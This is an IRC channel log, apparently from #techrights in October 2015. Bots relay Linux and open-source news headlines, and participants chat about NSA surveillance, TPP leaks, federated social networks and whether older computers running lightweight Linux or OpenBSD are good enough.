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| -TechrightsBot-tr/#techrights-www.linux.com | MyPaint Fills a Graphics Void on Linux | Linux.com | Oct 10 03:28 | |
| TweetTuxMachines | @tuxmachines Ubuntu Devs Don't Want Android Compatibility | Oct 10 03:28 |
| TweetTuxMachines | Layer for the OS http://t.co/BLPgemGQO6 | Oct 10 03:28 |
| TweetTuxMachines | (news.softpedia.com) | Oct 10 03:28 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Devs Don't Want Android Compatibility Layer for the OS - Softpedia | Oct 10 03:28 | |
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| TweetTuxMachines | @tuxmachines Oneplus One with Ubuntu Touch Just Got Cellular | Oct 10 03:28 |
| TweetTuxMachines | Support http://t.co/0UwB9Ts7h1 | Oct 10 03:28 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Oneplus One with Ubuntu Touch Has Just Got Cellular Support - Softpedia | Oct 10 03:28 | |
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| TweetTuxMachines | @tuxmachines Linksys Endorses OpenWrt Linux-Based Open | Oct 10 03:32 |
| TweetTuxMachines | Source OS in Latest Router | Oct 10 03:32 |
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| -TechrightsBot-tr/#techrights-thevarguy.com | Linksys Endorses OpenWrt Linux-Based Open Source OS in Latest Router | Open Source Application Software Companies content from The VAR Guy | Oct 10 03:32 | |
| TweetTuxMachines | @tuxmachines Linux Foundation: Security Challenges Threaten | Oct 10 03:32 |
| TweetTuxMachines | ‘Golden Age’ Of Open Source | Oct 10 03:32 |
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| -TechrightsBot-tr/#techrights-www.techweekeurope.co.uk | Linux Foundation: Security Threats Open Source Golden Age | Oct 10 03:32 | |
| TweetTuxMachines | @tuxmachines New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB | Oct 10 03:32 |
| TweetTuxMachines | 3.0, PCIe http://t.co/YvKeRmGg1i | Oct 10 03:32 |
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| -TechrightsBot-tr/#techrights-linuxgizmos.com | New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB 3.0, PCIe · LinuxGizmos.com | Oct 10 03:32 | |
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| TweetTuxMachines | @tuxmachines Bodhi: Detour and Forum Themes now Moksha | Oct 10 03:36 |
| TweetTuxMachines | Compatible http://t.co/hHQd8z2Pp7 | Oct 10 03:36 |
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| -TechrightsBot-tr/#techrights-www.bodhilinux.com | Detour and Forum Themes now Moksha Compatible | Bodhi Linux | Oct 10 03:36 | |
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| TweetTuxMachines | For Linux 4.4? http://t.co/ERYMR8HKGB | Oct 10 03:36 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | KDBUS Continues Maturing, But Will We See It For Linux 4.4? - Phoronix | Oct 10 03:36 | |
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| TweetTuxMachines | @tuxmachines Amazon’s AWS IoT platform taps three Linux SBCs | Oct 10 03:36 |
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| -TechrightsBot-tr/#techrights-linuxgizmos.com | Amazon's AWS IoT platform taps three Linux SBCs · LinuxGizmos.com | Oct 10 03:36 | |
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| -TechrightsBot-tr/#techrights-@schestowitz: What We Know So Far About Digital Rights in the Still Secret Final TPP Text https://t.co/OXevkmFKhU #eff #tpp | Oct 10 04:21 | |
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| TweetTuxMachines | @tuxmachines openSUSE Tumbleweed Gets New Major Snapshot, | Oct 10 04:24 |
| TweetTuxMachines | Leap 42.1 RC1 Coming Next Week | Oct 10 04:24 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1 RC1 Coming Next Week - Softpedia | Oct 10 04:24 | |
| TweetTuxMachines | @tuxmachines Samsung's Galaxy devices to get Android 6.0 | Oct 10 04:24 |
| TweetTuxMachines | Marshmallow http://t.co/dKNZeEjLw7 | Oct 10 04:24 |
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| -TechrightsBot-tr/#techrights-www.ibtimes.co.uk | Samsung's Galaxy devices to get Android 6.0 Marshmallow | Oct 10 04:24 | |
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| TweetTuxMachines | On Firmware Update For Multiple Devices | Oct 10 04:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | New IBM Linux Servers Tap OpenPower Technology | Tux Machines | Oct 10 04:47 | |
| TweetTuxMachines | @tuxmachines Manjaro Linux Fluxbox 15.10 Edition Released | Oct 10 04:47 |
| TweetTuxMachines | with a Completely Redesigned Desktop | Oct 10 04:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro Linux Fluxbox 15.10 Edition Released with a Completely Redesigned Desktop | Tux Machines | Oct 10 04:47 | |
| schestowitz | https://twitter.com/rabite/status/652772005398347777 | Oct 10 05:09 |
| -TechrightsBot-tr/#techrights-@rabite: @schestowitz how is that blackmail? There is nothing they can give me to get me to stop. | Oct 10 05:10 | |
| schestowitz | Maybe a deterrence tactic | Oct 10 05:10 |
| schestowitz | https://twitter.com/rabite/status/652773713709023232 | Oct 10 05:16 |
| -TechrightsBot-tr/#techrights-@rabite: @schestowitz yes, the purpose is to punish organized crime so that others might think twice before committing it. | Oct 10 05:16 | |
| schestowitz | make no mistake; I support you. I just think it shows how privacy violations enable revenge and blackmail. | Oct 10 05:17 |
| schestowitz | And if you followed what I had written about you dozens of times in the past you'd understand my tone and point to drive home | Oct 10 05:18 |
| schestowitz | ^ weev | Oct 10 05:18 |
| schestowitz | https://joindiaspora.com/posts/6687535 | Oct 10 05:50 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Opposition to mass #surveillance still a bipartisan matter; even so-called Conservatives upset http://personalliberty.com/out-nsa-ing-the-nsa/ https://news.vice.com/article/a-federal-judge-could-halt-the-nsas-phone-data-collection-program-this-week | Oct 10 05:50 | |
| -TechrightsBot-tr/#techrights--> personalliberty.com | Out NSA-ing the NSA [ http://ur1.ca/nz4d4 ] | Oct 10 05:50 | |
| -TechrightsBot-tr/#techrights--> news.vice.com | A Federal Judge Could Halt the NSA's Phone Data Collection Program This Week | VICE News [ http://ur1.ca/nz4d5 ] | Oct 10 05:50 | |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652782898790187009 | Oct 10 05:51 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz really surprised the gate guards didn't "shoot first" even if it was "different circumstances" to the last time | Oct 10 05:51 | |
| schestowitz | maybe lessons learned and no black person | Oct 10 05:51 |
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| schestowitz | https://twitter.com/LadyKorenwolf/status/652784785132232704 | Oct 10 06:30 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz is that why you can't take the battery out of an iphone? o.0 | Oct 10 06:30 | |
| schestowitz | That's my suspicion (and others'). I spoke about this years ago, before Snowden... | Oct 10 06:31 |
| schestowitz | https://twitter.com/MxsQueen/status/652785244190470144 | Oct 10 06:32 |
| -TechrightsBot-tr/#techrights-@MxsQueen: So much for small government. https://t.co/4YBHij5FJA | Oct 10 06:32 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The #torygraph openly advocates for back doors in operating systems http://t.co/pxNj8Mkcw7 what has become of #uk gov.? #tories | Oct 10 06:32 | |
| schestowitz | https://twitter.com/SeaH2ONymph/status/652786869260931072 | Oct 10 06:32 |
| -TechrightsBot-tr/#techrights-@SeaH2ONymph: @schestowitz T'internet Fun & Games: #WIRED 'rather than #Russian secret police, it’s his old employers, #CIA & #NSA, #Snowden most fears.' | Oct 10 06:32 | |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652790185445433344 | Oct 10 06:33 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: politicians are clueless & easily led by people who aren't (& who use money or fear to get their way) https://t.co/z8lTEoAU9r | Oct 10 06:33 | |
| schestowitz | https://twitter.com/glynmoody/status/652792305133428736 | Oct 10 06:33 |
| -TechrightsBot-tr/#techrights-@glynmoody: and yet #NZ is claiming that's not the case... https://t.co/EyXD1JgXkM | Oct 10 06:33 | |
| -TechrightsBot-tr/#techrights-@schestowitz: @glynmoody https://t.co/dgCj2UCC1B | Oct 10 06:33 | |
| schestowitz | Maybe #nz politicians | Oct 10 06:33 |
| schestowitz | https://twitter.com/LadyKorenwolf/status/652793043322597376 | Oct 10 06:35 |
| -TechrightsBot-tr/#techrights-@LadyKorenwolf: @schestowitz or when not in use, drop it in a small Faraday cage | Oct 10 06:35 | |
| schestowitz | If you have one readily available | Oct 10 06:35 |
| schestowitz | https://twitter.com/swardley/status/652793279201837056 | Oct 10 06:35 |
| -TechrightsBot-tr/#techrights-@swardley: Curious. One to be aware of -> https://t.co/11sff6HiwV | Oct 10 06:35 | |
| -TechrightsBot-tr/#techrights-@schestowitz: @glynmoody @fosspatents Benoît #Battistelli 's Office Accused of Institutional Harassment Against #EPO Staff http://t.co/yOJ6NmMqHt | Oct 10 06:35 | |
| schestowitz | https://twitter.com/MxsQueen/status/652796192691212288 | Oct 10 06:46 |
| -TechrightsBot-tr/#techrights-@MxsQueen: Alternatively, you could give up on trusting your devices completely but that's a pretty terrible compromise. https://t.co/KJHBrmdBY9 | Oct 10 06:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Solution: don't use mobile phones (proprietary components like baseband OS often unavoidable) http://t.co/yRKfDoWcq3 | Oct 10 06:46 | |
| schestowitz | People who carry it everywhere won't be able to go on in life knowing they're WATCHED and LISTENED 24/7 | Oct 10 06:46 |
| schestowitz | https://twitter.com/MxsQueen/status/652798229478797312 | Oct 10 06:51 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz I think there's an interesting challenge/compromise to be made coping with panopticon psychology, making surveillance harder | Oct 10 06:51 | |
| schestowitz | https://twitter.com/MxsQueen/status/652800719075065856 | Oct 10 07:11 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz there's the argument there that it's pretty easy with a known bug to be selective in your use of it. | Oct 10 07:11 | |
| schestowitz | The listener or listened? | Oct 10 07:11 |
| schestowitz | https://twitter.com/jolly_angelina/status/652801270579896321\ | Oct 10 07:11 |
| -TechrightsBot-tr/#techrights-@jolly_angelina: "@schestowitz: Phones with 2 cameras, 1 either side; so you're visible no matter how you put it down. Recom by #nsa : endorsed by #gchq ;-)" | Oct 10 07:11 | |
| schestowitz | https://twitter.com/jurasick/status/652801665645588480 | Oct 10 07:12 |
| -TechrightsBot-tr/#techrights-@jurasick: @schestowitz Lots of folks don't realize with 1 option Siri can listen all night (presumably snoring?) while charging. Smurf suite indeed! | Oct 10 07:12 | |
| schestowitz | it's being normalised | Oct 10 07:12 |
| schestowitz | https://twitter.com/MxsQueen/status/652803898860793856 | Oct 10 07:13 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz the listened. It's easy enough to leave it somewhere you're not. If you're under physical surveillance game over already. | Oct 10 07:13 | |
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| schestowitz | https://twitter.com/openstandaarden/status/652810259019497473 | Oct 10 07:40 |
| -TechrightsBot-tr/#techrights-@openstandaarden: Het nieuws dat we meer gaan inzetten op #ODF #opendocumenten dringt ook bij buitenlandse collega's door. https://t.co/N1WBlGeeFO | Oct 10 07:40 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The Dutch government is determined to speed up ODF adoption http://t.co/DvBJQj1XAI #odf #holland | Oct 10 07:40 | |
| schestowitz | https://twitter.com/AJimenez1988/status/652811363690106880 | Oct 10 07:58 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Fuck the Magna Carta. | Oct 10 07:58 | |
| schestowitz | Tories know better... and Blairites too. | Oct 10 07:58 |
| schestowitz | Rivet Radio (blog): | Oct 10 08:05 |
| schestowitz | "People are falling for a privacy hoax on Facebook, YET AGAIN, and Edward Snowden joins Twitter and immediately, figuratively, shoots himself in the foot." | Oct 10 08:05 |
| schestowitz | Link pulled down | Oct 10 08:05 |
| XRevan86 | Should had Snowden choose GNU social that "even" schestowitz turnes down? | Oct 10 08:07 |
| XRevan86 | schestowitz: I really don't understand the correlation between Evan not giving you data and undesire to join GNU social. | Oct 10 08:08 |
| msb_ | I joined the first GNU social server, LoadAverage, and found it had only one channel about Linux, and that in Spanish or some similar language. | Oct 10 08:42 |
| XRevan86 | msb_: It's filled with GNU/Linux. | Oct 10 08:44 |
| msb_ | How do I reach that? | Oct 10 08:44 |
| XRevan86 | msb_: I can't find you. | Oct 10 08:47 |
| msb_ | XRevan86: How do I connect with the GNU/Linux discussions? | Oct 10 08:47 |
| msb_ | I am markbilk on LoadAverage | Oct 10 08:47 |
| msb_ | or maybe mark@cosmicpenguin.com | Oct 10 08:48 |
| XRevan86 | https://loadaverage.org/tag/linux https://quitter.se/group/linux http://legadolibre.com.ar/group/gnu | Oct 10 08:49 |
| -TechrightsBot-tr/#techrights-loadaverage.org | Notices tagged with linux - LoadAverage | Oct 10 08:49 | |
| -TechrightsBot-tr/#techrights-quitter.se | Quitter | Oct 10 08:49 | |
| -TechrightsBot-tr/#techrights-legadolibre.com.ar | Grupo GNU's Not Unix (gnu) - legadolibre | Oct 10 08:49 | |
| XRevan86 | https://loadaverage.org/group/opensuse | Oct 10 08:49 |
| -TechrightsBot-tr/#techrights-loadaverage.org | openSUSE (opensuse) group - LoadAverage | Oct 10 08:49 | |
| msb_ | I want to discuss systemd on many distros | Oct 10 08:50 |
| XRevan86 | http://skilledtests.com/wiki/List_of_federated_GNU_social_groups | Oct 10 08:51 |
| -TechrightsBot-tr/#techrights-skilledtests.com | List of federated GNU social groups - I ask questions [ http://ur1.ca/iwdhd ] | Oct 10 08:51 | |
| XRevan86 | https://loadaverage.org/tag/systemd | Oct 10 08:51 |
| -TechrightsBot-tr/#techrights-loadaverage.org | Notices tagged with systemd - LoadAverage | Oct 10 08:51 | |
| schestowitz | http://wwlp.com/2015/10/09/cybersecurity-threats-business-owners-need-to-know/ | Oct 10 09:08 |
| schestowitz | "NSA’s role in combating hacker" | Oct 10 09:08 |
| -TechrightsBot-tr/#techrights-wwlp.com | Cybersecurity threats business owners need to know | WWLP.com [ http://ur1.ca/nz5tf ] | Oct 10 09:08 | |
| schestowitz | XRevan86: I could not import the data | Oct 10 09:09 |
| XRevan86 | schestowitz: Start from stratch then. | Oct 10 09:09 |
| schestowitz | nah | Oct 10 09:09 |
| schestowitz | f* the 'cloud' | Oct 10 09:09 |
| schestowitz | now I keep my things backed up publicly | Oct 10 09:10 |
| schestowitz | learned from the mistake of netscape.com too | Oct 10 09:10 |
| schestowitz | where I had worked | Oct 10 09:10 |
| schestowitz | all sites will vanish one day | Oct 10 09:10 |
| schestowitz | but some vanish purely for business reasons (profit) | Oct 10 09:10 |
| XRevan86 | schestowitz: Self-host then :) | Oct 10 09:12 |
| schestowitz | https://twitter.com/BryanZwan2/status/652834173393240064 | Oct 10 09:14 |
| -TechrightsBot-tr/#techrights-@BryanZwan2: RT http://t.co/9JepJ1l47m Government crackers lecture about #security http://t.co/ZQeFsZ9yXi "NSA’s role in combating hackers.." heh. #… | Oct 10 09:14 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Government crackers lecture about #security http://t.co/B6Lld1Mpk8 "NSA’s role in combating hackers.." heh. | Oct 10 09:14 | |
| schestowitz | XRevan86: I wanted to | Oct 10 09:14 |
| schestowitz | but couldn't get my data | Oct 10 09:14 |
| schestowitz | so defected to diaspora | Oct 10 09:14 |
| XRevan86 | I should consider creating a Twitter account. | Oct 10 09:16 |
| MinceR | more TPP leaks >> http://8ch.net/tech/res/402037.html#405366 | Oct 10 09:16 |
| -TechrightsBot-tr/#techrights-8ch.net | /tech/ - TPP HAPPENING thread [ http://ur1.ca/nz5vo ] | Oct 10 09:16 | |
| XRevan86 | (not really) | Oct 10 09:17 |
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| msb_ | Are gnu/social messages limited to 128 chars or so? | Oct 10 09:20 |
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| TweetTuxMachines | @tuxmachines Rugged Cat S40 Android Smartphone Launches in | Oct 10 09:26 |
| TweetTuxMachines | U.S. http://t.co/sAc5t65ED9 | Oct 10 09:26 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 10 09:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Rugged Cat S40 Android Smartphone Launches in U.S. | Tux Machines | Oct 10 09:26 | |
| TweetTuxMachines | @tuxmachines Release of KDE Frameworks 5.15.0 | Oct 10 09:27 |
| TweetTuxMachines | http://t.co/h1bIYqD0D0 (www.tuxmachines.org) | Oct 10 09:27 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Release of KDE Frameworks 5.15.0 | Tux Machines | Oct 10 09:27 | |
| schestowitz | http://news.niticentral.com/2015/10/09/nepal-forms-team-to-ease-standoff-with-india-over-supplies/ | Oct 10 09:49 |
| -TechrightsBot-tr/#techrights-news.niticentral.com | Nepal forms team to ease standoff with India over supplies - India News Analysis Opinions on Niti Central - Bold and Right [ http://ur1.ca/nz66a ] | Oct 10 09:49 | |
| schestowitz | https://twitter.com/LucidGlow/status/652844512339996672 https://twitter.com/LucidGlow/status/652845102046556160 | Oct 10 09:59 |
| -TechrightsBot-tr/#techrights-@LucidGlow: @schestowitz He should be given a "warm" welcome... | Oct 10 09:59 | |
| -TechrightsBot-tr/#techrights-@LucidGlow: @schestowitz Gen. Keith Alexander is certainly one of the individuals that has contributed most to the oppression of mankind lately. | Oct 10 09:59 | |
| schestowitz | http://www.foxbusiness.com/on-air/stossel/blog/2015/10/07/war-cops-other-political-myths | Oct 10 10:00 |
| schestowitz | "Do women have a right for government to pay for their birth control? Abortions? I don't think so." | Oct 10 10:00 |
| -TechrightsBot-tr/#techrights-www.foxbusiness.com | War on Cops & Other Political Myths | John Stossel's Take | Fox Business [ http://ur1.ca/nz69t ] | Oct 10 10:00 | |
| schestowitz | Fox... | Oct 10 10:00 |
| TweetTuxMachines | @tuxmachines The Best Linux Setup For Older Computers | Oct 10 10:12 |
| TweetTuxMachines | http://t.co/6WUNbMubqH (www.tuxmachines.org) | Oct 10 10:12 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The Best Linux Setup For Older Computers | Tux Machines | Oct 10 10:12 | |
| schestowitz | https://twitter.com/nyakasanga/status/652847559489245184 | Oct 10 10:23 |
| -TechrightsBot-tr/#techrights-@nyakasanga: @schestowitz oppression repression and bad breath.. | Oct 10 10:23 | |
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| MinceR | https://scontent-lhr3-1.xx.fbcdn.net/hphotos-xta1/v/t1.0-9/12006221_10200844195464537_1177391076717232848_n.jpg?oh=8660e692cb2d4c27d30aea9bdf769c1a&oe=56960E72 | Oct 10 10:47 |
| XFaCE | MinceR: ROFLOL | Oct 10 10:47 |
| XFaCE | thanks for that | Oct 10 10:47 |
| XFaCE | schestowitz: the lack of TPP IP chapter coverage yesterday was disgusting | Oct 10 10:48 |
| XFaCE | 5 hours and no breaking news from MSM | Oct 10 10:48 |
| XFaCE | not surprising, but disgusting | Oct 10 10:48 |
| XFaCE | " • Provides protection and enforcement of copyrights and related rights, reflecting or building upon the World Intellectual Property Organization Internet Treaties. Canada ratified the Internet Treaties in 2014. | Oct 10 10:49 |
| XFaCE | • Reflects key aspects of Canada’s regime, including: | Oct 10 10:49 |
| XFaCE | ◦ Canada’s Notice-and-Notice regime regarding Internet service providers’ role in addressing online copyright infringement; | Oct 10 10:49 |
| XFaCE | ◦ protection and enforcement to prevent the circumvention of technological protection measures and the removal of rights management information; and | Oct 10 10:49 |
| XFaCE | ◦ Canada’s copyright exceptions and limitations framework. | Oct 10 10:49 |
| XFaCE | Moreover, officials told the Wire Report, claiming “what we were able to conclude in the TPP is fully consistent with Canadian law and policy, and included in that is Canada’s position or Canada’s regime pursuant to the recently-adopted Copyright Modernization Act.”" | Oct 10 10:49 |
| XFaCE | 99% bullshit | Oct 10 10:49 |
| XFaCE | lies | Oct 10 10:50 |
| XFaCE | and we have the Wikileak'd chapter to prove it | Oct 10 10:50 |
| TweetTuxMachines | @tuxmachines Raspberry Pi KMS Driver UpdatedRaspberry Pi KMS | Oct 10 11:16 |
| TweetTuxMachines | Driver Updated http://t.co/RWzUKHFLkd | Oct 10 11:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Raspberry Pi KMS Driver UpdatedRaspberry Pi KMS Driver Updated | Tux Machines | Oct 10 11:16 | |
| TweetTuxMachines | @tuxmachines Epistory - Typing Chronicles Will Come To Linux | Oct 10 11:16 |
| TweetTuxMachines | https://t.co/KFdw8zGYWL (www.gamingonlinux.com) | Oct 10 11:16 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Epistory - Typing Chronicles Will Come To Linux | GamingOnLinux | Oct 10 11:16 | |
| TweetTuxMachines | @tuxmachines “$15 will grant you a DRM-free Linux copy of | Oct 10 11:16 |
| TweetTuxMachines | the game (plus your name in the credits)” | Oct 10 11:16 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Haque: Retro Roguelike RPG Requires Riches | GamingOnLinux | Oct 10 11:16 | |
| TweetTuxMachines | @tuxmachines Manjaro Linux Fluxbox 15.10 Edition Released | Oct 10 11:22 |
| TweetTuxMachines | with a Completely Redesigned Desktop | Oct 10 11:22 |
| TweetTuxMachines | http://t.co/53IUXFJxFt (news.softpedia.com) | Oct 10 11:22 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro Linux Fluxbox 15.10 Edition Released with a Completely Redesigned Desktop - Softpedia | Oct 10 11:22 | |
| TweetTuxMachines | @tuxmachines Release of KDE Frameworks 5.15.0 | Oct 10 11:22 |
| TweetTuxMachines | https://t.co/aol5qZCdzn (www.kde.org) | Oct 10 11:22 |
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| -TechrightsBot-tr/#techrights-www.kde.org | KDE - Release of KDE Frameworks 5.15.0 | Oct 10 11:22 | |
| TweetTuxMachines | @tuxmachines Rugged Cat S40 Android Smartphone Launches in | Oct 10 11:22 |
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| -TechrightsBot-tr/#techrights-www.eweek.com | Rugged Cat S40 Android Smartphone Launches in U.S. | Oct 10 11:22 | |
| TweetTuxMachines | @tuxmachines The Best Linux Setup For Older Computers | Oct 10 11:22 |
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| -TechrightsBot-tr/#techrights-linux.about.com | The Best Linux Setup To Replace Windows Vista And XP | Oct 10 11:22 | |
| TweetTuxMachines | @tuxmachines Raspberry Pi KMS Driver Updated | Oct 10 11:29 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Raspberry Pi KMS Driver Updated - Phoronix | Oct 10 11:29 | |
| TweetTuxMachines | @tuxmachines Tiny Core Linux 6.4.1 Gets Its First Release | Oct 10 11:29 |
| TweetTuxMachines | Candidate Build with Multiple Fixes | Oct 10 11:29 |
| TweetTuxMachines | http://t.co/3Qsmq43BWH (news.softpedia.com) | Oct 10 11:29 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Tiny Core Linux 6.4.1 Gets Its First Release Candidate Build with Multiple Fixes - Softpedia | Oct 10 11:29 | |
| TweetTuxMachines | @tuxmachines Calligra 2.9.8 Released https://t.co/UN2TU9Zfyv | Oct 10 11:29 |
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| -TechrightsBot-tr/#techrights-www.calligra.org | Calligra 2.9.8 Released | Calligra Suite | Oct 10 11:29 | |
| TweetTuxMachines | @tuxmachines "hacking away at the Kate/KDevelop sprint in | Oct 10 11:30 |
| TweetTuxMachines | Berlin." http://t.co/FMJa2boeGp | Oct 10 11:30 |
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| -TechrightsBot-tr/#techrights-kate-editor.org | Qt World Summit + Kate/KDevelop Sprint in Berlin | Kate | Get an Edge in Editing | Oct 10 11:30 | |
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| schestowitz | https://twitter.com/glynmoody/status/652870699703500800 | Oct 10 11:40 |
| -TechrightsBot-tr/#techrights-@glynmoody: well, pretty much as you'd expect... https://t.co/GX2LBiOA7R | Oct 10 11:40 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The Financial Times of London (i.e. plutocrats) upset that #privacy won because of "transatlantic trade" http://t.co/vhVK6d9sLU @glynmoody | Oct 10 11:40 | |
| schestowitz | https://twitter.com/digital_human/status/652870602584399872 | Oct 10 11:41 |
| -TechrightsBot-tr/#techrights-@digital_human: #cool. Draaid dat een beetje? Iemand ervaring? https://t.co/PlHOKDISXL | Oct 10 11:41 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Overlord & Overlord 2 Coming To Linux, Two More Virtual Programming Titles http://t.co/5DKtnVRNXY http://t.co/9Ax9DWqK1g | Oct 10 11:41 | |
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| TweetTuxMachines | @tuxmachines Tiny Core Linux 6.4.1 Gets Its First Release | Oct 10 11:53 |
| TweetTuxMachines | Candidate Build with Multiple Fixes | Oct 10 11:53 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Tiny Core Linux 6.4.1 Gets Its First Release Candidate Build with Multiple Fixes | Tux Machines | Oct 10 11:53 | |
| TweetTuxMachines | @tuxmachines Leftovers: FSF/GNU http://t.co/ce0RjYYp3c | Oct 10 12:03 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: FSF/GNU | Tux Machines | Oct 10 12:03 | |
| TweetTuxMachines | @tuxmachines Linux Discussion Continues, Fedora Welcomes | Oct 10 12:03 |
| TweetTuxMachines | Chromium http://t.co/ea8ZxlBpev | Oct 10 12:03 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Discussion Continues, Fedora Welcomes Chromium | Tux Machines | Oct 10 12:03 | |
| TweetTuxMachines | @tuxmachines Ubuntu Phone Game Falldown Ported to Sailfish | Oct 10 12:03 |
| TweetTuxMachines | OS, It Now Supports Themes | Oct 10 12:03 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Phone Game Falldown Ported to Sailfish OS, It Now Supports Themes - Softpedia | Oct 10 12:03 | |
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| cubexyz | HA, dual core 2 gigahertz is old | Oct 10 18:09 |
| cubexyz | but this shows how polluted the computerscape is | Oct 10 18:10 |
| cubexyz | hardly anyone seems to be able to function on a computer without windows, it's sad | Oct 10 18:10 |
| cubexyz | Q4OS is ok, but it wastes cpu time | Oct 10 18:12 |
| cubexyz | the most functional no-nonsense OS I've ever used was OpenBSD | Oct 10 18:13 |
| cubexyz | I don't need some fancy word processor | Oct 10 18:17 |
| cubexyz | I barely even use abiword | Oct 10 18:17 |
| cubexyz | sorry, I like Q4OS, but the idea that it's best distro for an old computer is ridiculous | Oct 10 18:20 |
| cubexyz | openbsd or in extreme cases BL3 | Oct 10 18:20 |
| cubexyz | openbsd doesn't even load X by default | Oct 10 18:21 |
| cubexyz | totally lean and mean | Oct 10 18:21 |
| cubexyz | but I must say that Novena project looks very interesting | Oct 10 18:23 |
| cubexyz | it's even got an FPGA built-in | Oct 10 18:23 |
| cubexyz | and web page creators are mostly ignoring older computer users | Oct 10 18:28 |
| cubexyz | some web pages no longer fit on a 4:3 screen | Oct 10 18:28 |
| cubexyz | ideally the browser should transmit to the server it connects to "Hey I'm 4:3 here" | Oct 10 18:32 |
| cubexyz | there is something called "Responsive layout" which tries to adapt to every device | Oct 10 18:33 |
| cubexyz | or "Responsive Web Design" | Oct 10 18:35 |
| cubexyz | https://en.wikipedia.org/wiki/Responsive_web_design | Oct 10 18:35 |
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| msb_ | cubexyz: "hardly anyone seems to be able to function on a computer without windows, it's sad" That's not the problem. People (except you) want _fast_ computers so they can watch highly-compressed videos, and do video editing and play action games. These activities, and others like fast compiles, fast switching between virtual desktops, and good speed with interpreted languages like Ruby, REQUIRE A FAST COMPUTER, whether it's running | Oct 10 20:01 |
| msb_ | Linux or Windows. | Oct 10 20:01 |
| msb_ | cubexyz: People also want large displays, which are easier on the eyes, and more entertaining when watching movies, and more functional when editing text or source code because you can view two or three documents on the screen side by side at the same time. Big screens with lots of pixels require a FAST COMPUTER to calculate all those pixels when watching a highly-compressed video or playing an action game. | Oct 10 20:08 |
| cubexyz | msb_, you're so fixated on watching videos | Oct 10 20:09 |
| cubexyz | I almost never bother doing that | Oct 10 20:09 |
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| cubexyz | I can assure you there's lots of people who don't use their computers to edit video | Oct 10 20:10 |
| cubexyz | they do online banking, write emails, some people program | Oct 10 20:10 |
| cubexyz | I watched all the stuff you sent me (most of it at least) on my P3 | Oct 10 20:11 |
| msb_ | cubexyz: "fixated" "bother" are propaganda words the way you're using them here. The vast majority of people enjoy watching movies and other videos like ones about drug companies, political goings-on, etc. | Oct 10 20:11 |
| cubexyz | you are fixated :) | Oct 10 20:12 |
| cubexyz | you endless blather on about it | Oct 10 20:12 |
| cubexyz | I had far older computers that could watch CDI's on | Oct 10 20:13 |
| cubexyz | I think Tivos had a 486 class CPU | Oct 10 20:13 |
| cubexyz | but with special video chips | Oct 10 20:13 |
| cubexyz | I think people waste a lot of time watching youtube and TV | Oct 10 20:14 |
| cubexyz | what is that quote... "poor people have big TVs and rich peopel have big libraries" | Oct 10 20:14 |
| msb_ | Most people probably don't edit videos. But _many_ play action computer games. And _most_ watch movies and other videos, and they like big displays with lots of sharp detail. | Oct 10 20:15 |
| cubexyz | well I haven't seen an statistics so any comment on my part would be just speculation | Oct 10 20:16 |
| cubexyz | s/an/any/ | Oct 10 20:16 |
| cubexyz | I don't play games much | Oct 10 20:17 |
| msb_ | cubexyz: "fixated" "blather" "I think people waste a lot of time watching youtube and TV" You think everyone should be like you and have your likes and dislikes. Well, they aren't, and it's not going to happen. | Oct 10 20:18 |
| cubexyz | TV is a utter waste of time | Oct 10 20:18 |
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| msb_ | "I don't play games much" What is the purpose of our discussion here? To find good computer solutions for YOU, or to find them for EVERYONE? I think it's to help everyone. | Oct 10 20:19 |
| cubexyz | if you had a kid, a teenager, and he/she played games all the time and watched a lot of TV and was failing in school what would you say then? | Oct 10 20:20 |
| cubexyz | I don't think you would like that | Oct 10 20:20 |
| cubexyz | people watching game shows promoting consumerism? | Oct 10 20:21 |
| cubexyz | it's just sad | Oct 10 20:21 |
| msb_ | That's a Red Herring propaganda ploy. Many people play games, and watch certain things on TV that they specifically like, in moderation. | Oct 10 20:22 |
| cubexyz | so no thanks | Oct 10 20:22 |
| cubexyz | I'd love to look at some statistics on that | Oct 10 20:23 |
| msb_ | So what are you trying to do? Foist computers on people that will be incapable of giving them the things they enjoy, so they will be forced into your monastic existence? | Oct 10 20:23 |
| cubexyz | I'd say people are watching more TV now than in the past | Oct 10 20:23 |
| cubexyz | no, the customer tells me what they want :) | Oct 10 20:24 |
| cubexyz | I merely make suggestions | Oct 10 20:24 |
